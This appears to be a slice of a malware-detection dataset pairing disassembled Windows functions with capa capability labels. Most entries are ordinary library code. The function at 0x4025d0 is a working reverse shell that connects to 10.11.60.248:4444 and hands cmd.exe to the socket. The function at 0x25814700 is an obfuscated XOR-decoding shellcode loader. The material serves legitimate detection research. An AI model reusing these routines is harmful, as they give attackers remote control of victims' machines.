joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ea0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40607c]
sub esp, 4
test ebx, ebx
je 0x401ef5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x401eee
test esi, esi
je 0x401eee
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401ed0
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4025d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x54
call fcn.00401670
mov dword [ebp - 0x19], 0x312e3031
mov dword [ebp - 0x15], 0x362e3131
mov dword [ebp - 0x11], 0x34322e30
mov word [ebp - 0xd], 0x38
mov byte [ebp - 0xb], 0
mov word [ebp - 0xa], 0x115c
mov dword [esp + 4], 0x4030e0
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_WSASocketA]
call eax
sub esp, 0x18
mov dword [0x4030c0], eax
mov word [0x40302c], 2
movzx eax, word [ebp - 0xa]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [0x40302e], ax
lea eax, [ebp - 0x19]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [0x403030], eax
mov eax, dword [0x4030c0]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x40302c
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_WSAConnect]
call eax
sub esp, 0x1c
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
mov dword [esp], 0x403060
call sub.msvcrt.dll_memset
mov dword [0x403060], 0x44
mov dword [0x40308c], 0x100
mov eax, dword [0x4030c0]
mov dword [0x4030a0], eax
mov eax, dword [0x4030a0]
mov dword [0x40309c], eax
mov eax, dword [0x40309c]
mov dword [0x403098], eax
mov dword [esp + 0x24], 0x40303c
mov dword [esp + 0x20], 0x403060
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.cmd.exe
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov dword [esp], 0
call sub.msvcrt.dll_exit
nop
jmp fcn.004014f0
Function at 0x10008340
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.100252c0
Function at 0x25814700
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x2581470f
pop dword [ebp - 0x10]
mov eax, 0x6e4cc8a6
sub eax, 0x48cb8197
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x241fc0dd
add dword [ebp - 0x20], 0x2a32846e
mov dword [ebp - 0x1c], 0x48d0d2dc
sub dword [ebp - 0x1c], 0x169d8697
mov dword [ebp - 0x18], 0xdceaec2f
add dword [ebp - 0x18], 0x6f6157ff
mov dword [ebp - 0x14], 0xdcd7f9b8
sub dword [ebp - 0x14], 0xdcd7f9b8
lea eax, [ebp - 0x20]
push eax
mov eax, 0xb0764219
sub eax, 0x8af471d5
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x7a2f36a7
sub dword [ebp - 0x20], 0x5bccd51
mov dword [ebp - 0x1c], 0x5103724a
sub dword [ebp - 0x1c], 0xf9710d5
mov dword [ebp - 0x18], 0xc6fc19cf
sub dword [ebp - 0x18], 0x638cad63
mov dword [ebp - 0x14], 0x96a5f250
sub dword [ebp - 0x14], 0x96a5f250
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3b6a9
push 0
call eax
mov ecx, 0x4383
xor edx, edx
add edx, eax
mov esi, 0xea3aaf69
add esi, 0x3b47e697
add esi, dword [ebp - 0x10]
mov ebx, 0xa1045418
add ebx, 0x3d1aa3a1
xor dword [ebp - 0xc], 0x2c7f60a
mov edi, dword [esi]
add dword [ebp - 4], edx
xor edi, ebx
mov dword [ebp - 4], 0x97fb9082
mov dword [edx], edi
sub dword [ebp - 0xc], esi
add edx, 4
add esi, 0x7bb3a36b
add esi, 0x844c5c99
loop 0x25814828
add eax, 0x100df
mov ebx, eax
add eax, 0x562f78f0
sub eax, 0x562f78eb
mov ecx, 0x25800000
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x44ec20
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x62151e
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x7151ac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], 1
mov dword [esi], 0x6610cc
mov dword [ebp - 4], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x28], 0x65002c
lea ecx, [esi + 0x30]
mov byte [ebp - 4], 1
push 0
call fcn.00554e20
push 0
lea ecx, [esi + 0x44]
mov byte [ebp - 4], 2
call fcn.00554e20
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x14], 0
mov word [esi + 0x19], 0
mov byte [esi + 0x1b], 0
mov byte [esi + 0x18], 0
mov word [esi + 0x20], 0
mov byte [esi + 0x22], 0
mov eax, dword [0x713240]
mov dword [esi + 0x24], eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4684d0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x623bd8
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x7151ac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], 0
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
mov dword [esi], 0x663064
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], ebx
mov dword [esi + 0x1c], edi
mov dword [esi + 0x20], eax
mov eax, dword [ebp + 0x18]
mov dword [esi + 0x24], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x28], eax
mov eax, dword [ebp + 0x1c]
mov dword [esi + 0x2c], 0xfffffffd
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x44], eax
cmp dword [0x714840], 0
mov dword [ebp - 4], 0
je 0x468653
mov ecx, dword [esi + 0x28]
movzx eax, cx
cmp eax, ecx
je 0x4685bb
push 0x663388
push 0x6633b4
push 0x6635e8
push 0x125
push 0x6633f0
call fcn.00547810
add esp, 0x14
cmp byte [0x747ee0], 0
je 0x4685bb
mov byte [0x747ee0], 0
int3
cmp dword [0x714840], 0
je 0x468653
mov eax, dword [esi + 0x28]
and eax, 0x300
cmp eax, 0x300
jne 0x468609
push 0x663410
push 0x663458
push 0x6635e8
push 0x125
push 0x6633f0
call fcn.00547810
add esp, 0x14
cmp byte [0x747ee0], 0
je 0x468609
mov byte [0x747ee0], 0
int3
cmp dword [0x714840], 0
je 0x468653
mov eax, dword [esi + 0x28]
and eax, 0xc00
cmp eax, 0xc00
jne 0x468653
push 0x6634c0
push 0x663508
push 0x6635e8
push 0x125
push 0x6633f0
call fcn.00547810
add esp, 0x14
cmp byte [0x747ee0], 0
je 0x468653
mov byte [0x747ee0], 0
int3
push 0xc
mov dword [esi + 8], 3
call fcn.005ea79f
add esp, 4
mov dword [ebp + 8], eax
test eax, eax
je 0x468676
mov dword [eax], ebx
mov dword [eax + 4], edi
mov byte [eax + 8], 1
jmp 0x468678
xor eax, eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x18], ebx
mov dword [esi + 0x1c], edi
test ebx, ebx
je 0x46869d
test edi, edi
je 0x46869d
movd xmm1, ebx
movd xmm0, edi
cvtdq2ps xmm1, xmm1
cvtdq2ps xmm0, xmm0
divss xmm1, xmm0
jmp 0x4686a5
movss xmm1, dword [0x6642d0]
movss dword [esi + 0x40], xmm1
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x4686c0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x622d18
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x7151ac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], 0
mov eax, dword [ebp + 0xc]
mov dword [esi], 0x663064
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x24], eax
mov eax, dword [ebp + 0x10]
mov dword [esi + 0x28], eax
mov eax, dword [ebp + 0x18]
mov dword [esi + 0x2c], 0xfffffffd
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x44], eax
cmp dword [0x714840], 0
mov dword [ebp - 4], 0
je 0x46884a
mov ecx, dword [esi + 0x28]
movzx eax, cx
cmp eax, ecx
je 0x4687b2
push 0x663388
push 0x6633b4
push 0x6635e8
push 0xeb
push 0x6633f0
call fcn.00547810
add esp, 0x14
cmp byte [0x747ee0], 0
je 0x4687b2
mov byte [0x747ee0], 0
int3
cmp dword [0x714840], 0
je 0x46884a
mov eax, dword [esi + 0x28]
and eax, 0x300
cmp eax, 0x300
jne 0x468800
push 0x663410
push 0x663458
push 0x6635e8
push 0xeb
push 0x6633f0
call fcn.00547810
add esp, 0x14
cmp byte [0x747ee0], 0
je 0x468800
mov byte [0x747ee0], 0
int3
cmp dword [0x714840], 0
je 0x46884a
mov eax, dword [esi + 0x28]
and eax, 0xc00
cmp eax, 0xc00
jne 0x46884a
push 0x6634c0
push 0x663508
push 0x6635e8
push 0xeb
push 0x6633f0
call fcn.00547810
add esp, 0x14
cmp byte [0x747ee0], 0
je 0x46884a
mov byte [0x747ee0], 0
int3
mov eax, dword [ebp + 8]
mov dword [esi + 0xc], eax
mov eax, esi
mov dword [esi + 8], 2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0x14
Function at 0x4735f0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6246e6
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebx
push esi
push edi
mov eax, dword [0x7151ac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
mov dword [ebx + 4], 1
mov dword [ebx], 0x66525c
mov dword [ebp - 4], 0
mov dword [ebx + 0x1c], 0
mov dword [ebx + 0x18], 0x64e71c
lea edi, [ebx + 0x28]
mov dword [ebp - 0x14], edi
mov dword [edi + 4], 0
mov ecx, edi
mov byte [ebp - 4], 2
mov dword [edi], 0x64ffd8
call fcn.00471c00
mov esi, dword [ebp + 8]
mov dword [ebx + 0x10], 0x7a
mov dword [ebx + 0x14], 0x82
mov dword [ebx + 0x20], 0
mov dword [ebx + 0x24], 0
mov dword [ebx + 0x3c], 0
mov eax, dword [esi + 0x1c]
mov dword [ebx + 0xc], eax
mov eax, dword [esi + 0x30]
mov dword [ebx + 8], eax
mov eax, dword [esi + 0x20]
mov dword [ebx + 0x10], eax
mov eax, dword [esi + 0x24]
mov dword [ebx + 0x14], eax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x18], 0x64d4b8
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4736af
inc dword [eax + 4]
mov dword [ebp - 0x18], 0x64e71c
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 4
lea ecx, [ebx + 0x18]
cmp ecx, eax
je 0x4736ca
push eax
call fcn.005595f0
lea ecx, [ebp - 0x18]
call fcn.0040d120
mov eax, dword [esi + 0x2c]
mov dword [ebx + 0x24], eax
mov eax, dword [esi + 0x28]
mov dword [ebx + 0x20], eax
mov eax, dword [esi + 4]
mov dword [ebp - 0x2c], 0x64d4b8
mov dword [ebp - 0x28], eax
test eax, eax
je 0x4736f2
inc dword [eax + 4]
mov bl, byte [esi + 0x10]
mov cl, byte [esi + 0xc]
mov dl, byte [esi + 0xd]
mov ch, byte [esi + 0xe]
mov dh, byte [esi + 0xf]
mov eax, dword [esi + 8]
mov dword [ebp - 0x2c], 0x64ffd8
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], cl
mov byte [ebp - 0x1f], dl
mov byte [ebp - 0x1e], ch
mov byte [ebp - 0x1d], dh
mov byte [ebp + 0xb], bl
mov byte [ebp - 0x1c], bl
mov ebx, dword [ebp - 0x10]
lea esi, [ebp - 0x2c]
mov byte [ebp - 4], 5
cmp edi, esi
je 0x47374d
mov eax, esi
mov ecx, edi
push eax
call fcn.005595f0
mov al, byte [ebp - 0x1c]
mov dh, byte [ebp - 0x1d]
mov ch, byte [ebp - 0x1e]
mov dl, byte [ebp - 0x1f]
mov cl, byte [ebp - 0x20]
mov byte [ebp + 0xb], al
mov eax, dword [ebp - 0x24]
mov dword [edi + 8], eax
mov al, byte [ebp + 0xb]
mov byte [edi + 0xc], cl
mov byte [edi + 0xd], dl
mov byte [edi + 0xe], ch
mov byte [edi + 0xf], dh
mov byte [edi + 0x10], al
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 6
mov dword [ebp - 0x2c], 0x64d4b8
call fcn.00559b80
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x49fef0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x62955d
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x7151ac]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x38], edi
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x44], edi
mov dword [edi + 4], ebx
mov dword [edi], 0x66cc68
mov dword [ebp - 4], ebx
mov dword [edi + 0x10], 0xfffffffd
mov dword [edi + 0x24], ebx
mov dword [edi + 0x20], 0x64e71c
mov dword [edi + 0x2c], ebx
mov dword [edi + 0x28], 0x64e71c
lea ecx, [edi + 0x30]
mov byte [ebp - 4], 3
push eax
call fcn.00412e20
xor eax, eax
mov dword [edi + 0x60], ebx
mov dword [edi + 0x64], 7
mov word [edi + 0x50], ax
mov dword [edi + 0x68], eax
mov dword [edi + 0x80], eax
mov dword [edi + 0x84], 7
mov word [edi + 0x70], ax
mov dword [edi + 0x88], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 6
mov ecx, dword [ecx + 0x40]
push ecx
lea ecx, [edi + 0x10]
mov dword [edi + 8], eax
mov dword [edi + 0xc], 3
call fcn.004860d0
mov ecx, dword [ebp - 0x34]
mov dword [edi + 0x14], 4
mov word [edi + 0x1c], bx
mov byte [edi + 0x1e], 1
mov dword [edi + 0x90], ebx
mov dword [edi + 0x18], ecx
cmp dword [edi + 0xc], 3
mov dword [ebp - 4], 7
mov dword [edi], 0x66ce1c
jne 0x4a0078
cmp dword [edi + 0x40], ebx
je 0x4a0078
mov eax, dword [ecx]
lea edx, [ebp - 0x38]
push edx
lea edx, [ebp - 0x34]
push edx
call dword [eax + 0x290]
mov eax, dword [ebp - 0x34]
push 0x190
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], 0xffffffff
call fcn.005ea79f
mov esi, eax
add esp, 4
mov dword [ebp - 0x34], esi
mov byte [ebp - 4], 8
test esi, esi
je 0x4a0061
push 0x662d3c
lea ecx, [ebp - 0x30]
call fcn.0040cef0
lea eax, [ebp - 0x30]
mov byte [ebp - 4], 9
push eax
push 0x901
lea eax, [ebp - 0x40]
mov ebx, 1
push eax
push 0x713048
lea eax, [edi + 0x30]
mov dword [ebp - 0x38], ebx
push eax
push 0xffffffffffffffff
push dword [edi + 8]
mov ecx, esi
call fcn.0047a5f0
jmp 0x4a0063
xor eax, eax
mov dword [edi + 0x94], eax
test bl, 1
je 0x4a0082
lea ecx, [ebp - 0x30]
call fcn.0040d530
jmp 0x4a0082
mov dword [edi + 0x94], 0
mov byte [edi + 0x98], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.005ea7eb
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4f7fe0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x632ca8
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x7151ac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov edi, dword [ebp + 8]
mov dword [esi], 0x6803fc
cmp dword [0x714840], 0
je 0x4f8052
test edi, edi
jne 0x4f8052
push 0x680530
push 0x66f7d4
push 0x680594
push 0x145
push 0x6805c4
call fcn.005479a0
add esp, 0x14
cmp byte [0x747ee0], 0
je 0x4f8052
mov byte [0x747ee0], 0
int3
mov dword [esi + 4], edi
mov dword [esi + 8], 0
mov byte [esi + 0xc], 1
movaps xmm0, xmmword [0x66af00]
mov eax, edi
mov dword [esi], 0x68040c
mov ecx, esi
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x50], 0
mov dword [esi + 0x4c], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x44], 0
mov dword [esi + 0x40], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x34], 0
mov word [esi + 0x54], 0x101
movups xmmword [esi + 0x10], xmm0
mov dword [esi + 0x58], 0
mov dword [esi + 0x30], 0
mov dword [esi + 0x5c], 0
push edi
mov dword [ebp - 4], 0
mov dword [eax + 0x128], esi
call fcn.004f88b0
mov dword [esi], 0x680448
mov eax, esi
mov dword [esi + 0x64], 0
mov dword [esi + 0x60], 0
mov dword [esi + 0x68], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x5023e0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x633ee3
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x7151ac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], 0
mov dword [esi], 0x683314
lea ecx, [esi + 0x38]
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [ebp - 4], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
call fcn.005024d0
mov ecx, esi
mov byte [ebp - 4], 1
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
call fcn.00502af0
xor eax, eax
mov dword [esi + 0x30], 0x1010100
xor ecx, ecx
mov dword [esi + 0x28], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x10], eax
mov byte [esi + 0x36], al
mov eax, esi
mov dword [esi + 0x2c], ecx
mov dword [esi + 0x24], ecx
mov dword [esi + 0x1c], ecx
mov dword [esi + 0x14], ecx
mov word [esi + 0x34], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x5024d0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x633f1e
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x7151ac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], 0
mov dword [esi], 0x6832ec
xor eax, eax
mov dword [esi + 0x30], 0
mov dword [esi + 0x34], 7
mov word [esi + 0x20], ax
mov dword [ebp - 4], 0
mov dword [esi + 0x38], eax
mov dword [esi + 0x50], eax
mov dword [esi + 0x54], eax
mov dword [esi + 0x68], eax
mov dword [esi + 0x6c], 7
mov word [esi + 0x58], ax
mov dword [esi + 0x70], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], 3
mov dword [esi + 0x18], 1
mov word [esi + 0x1c], ax
mov dword [esi + 0x14], 1
mov byte [esi + 0x40], 1
mov dword [esi + 0x44], eax
mov dword [esi + 0x48], 0xffffffff
mov dword [esi + 0x4c], eax
mov eax, dword [0x713040]
mov dword [esi + 0x50], eax
mov eax, dword [0x713044]
mov byte [ebp - 4], 2
mov dword [esi + 0x54], eax
mov dword [esi + 0x78], 0
mov dword [esi + 0x7c], 0
call fcn.005049d0
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x3c]
mov dword [esi + 0x80], eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x556160
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
xor eax, eax
movzx ecx, word [edx]
test cx, cx
je 0x556191
push esi
mov esi, ecx
movzx ecx, si
lea edx, [edx + 2]
add ecx, eax
imul eax, ecx, 0x401
mov ecx, eax
shr ecx, 6
xor eax, ecx
movzx ecx, word [edx]
mov esi, ecx
test cx, cx
jne 0x556171
pop esi
lea ecx, [eax + eax*8]
mov eax, ecx
shr eax, 0xb
xor eax, ecx
imul eax, eax, 0x8001
ret

Function at 0x566b70
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x63eda6
mov eax, dword fs:[0]
push eax
sub esp, 8
push esi
push edi
mov eax, dword [0x7151ac]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [edi + 4], 0
mov dword [edi], 0x6ac0ec
xor eax, eax
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 7
mov word [edi + 0xc], ax
mov dword [ebp - 4], 0
mov dword [edi + 0x24], eax
lea esi, [edi + 0x30]
mov byte [ebp - 4], 1
mov dword [edi + 0x2c], eax
mov dword [ebp - 0x14], esi
call fcn.0054af50
mov dword [esi], eax
mov byte [ebp - 4], 2
call fcn.0054af50
mov dword [esi], eax
push dword [ebp + 0x10]
mov ecx, edi
mov byte [ebp - 4], 3
push dword [ebp + 0xc]
mov dword [edi + 0x38], 0
push dword [ebp + 8]
call fcn.00567020
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x5c5d30
Capabilities:
Encode data using base64

Disassembly:
push esi
mov esi, dword [esp + 0x10]
test esi, esi
je 0x5c5e40
mov eax, dword [esp + 8]
push ebx
mov ebx, dword [esp + 0x18]
push ebp
mov ebp, dword [esp + 0x14]
push edi
xor edi, edi
cmp ebx, 3
jb 0x5c5dc5
add edi, 4
test eax, eax
je 0x5c5dba
cmp edi, ebp
ja 0x5c5dd4
movzx ecx, byte [esi]
shr ecx, 2
movzx ecx, byte [ecx + 0x6bbe78]
mov byte [eax], cl
movzx edx, byte [esi]
movzx ecx, byte [esi + 1]
and edx, 3
shr ecx, 4
shl edx, 4
or edx, ecx
movzx ecx, byte [edx + 0x6bbe78]
mov byte [eax + 1], cl
movzx edx, byte [esi + 1]
movzx ecx, byte [esi + 2]
and edx, 0xf
shr ecx, 6
shl edx, 2
or edx, ecx
movzx ecx, byte [edx + 0x6bbe78]
mov byte [eax + 2], cl
movzx ecx, byte [esi + 2]
and ecx, 0x3f
movzx ecx, byte [ecx + 0x6bbe78]
mov byte [eax + 3], cl
add eax, 4
sub ebx, 3
add esi, 3
cmp ebx, 3
jae 0x5c5d53
test ebx, ebx
je 0x5c5e39
add edi, 4
test eax, eax
je 0x5c5e39
cmp edi, ebp
jbe 0x5c5ddc
pop edi
pop ebp
pop ebx
or eax, 0xffffffff
pop esi
ret
cmp ebx, 2
jne 0x5c5de6
mov dl, byte [esi + 1]
jmp 0x5c5de8
xor dl, dl
movzx ecx, byte [esi]
shr ecx, 2
movzx ebp, dl
movzx ecx, byte [ecx + 0x6bbe78]
mov byte [eax], cl
mov ecx, ebp
movzx edx, byte [esi]
and edx, 3
shr ecx, 4
shl edx, 4
or edx, ecx
movzx ecx, byte [edx + 0x6bbe78]
mov byte [eax + 1], cl
cmp ebx, 2
jne 0x5c5e31
and ebp, 0xf
mov cl, byte [ebp*4 + 0x6bbe78]
mov byte [eax + 2], cl
mov byte [eax + 3], 0x3d
mov eax, edi
pop edi
pop ebp
pop ebx
pop esi
ret
mov cl, 0x3d
mov byte [eax + 2], cl
mov byte [eax + 3], cl
mov eax, edi
pop edi
pop ebp
pop ebx
pop esi
ret
cmp dword [0x714840], 0
je 0x5c5e78
push 0x6bbebc
push 0x6bbee0
push 0x6bbee8
push 0x16
push 0x6bbef8
call fcn.005479a0
add esp, 0x14
cmp byte [0x747ee0], 0
je 0x5c5e78
mov byte [0x747ee0], 0
int3
or eax, 0xffffffff
pop esi
ret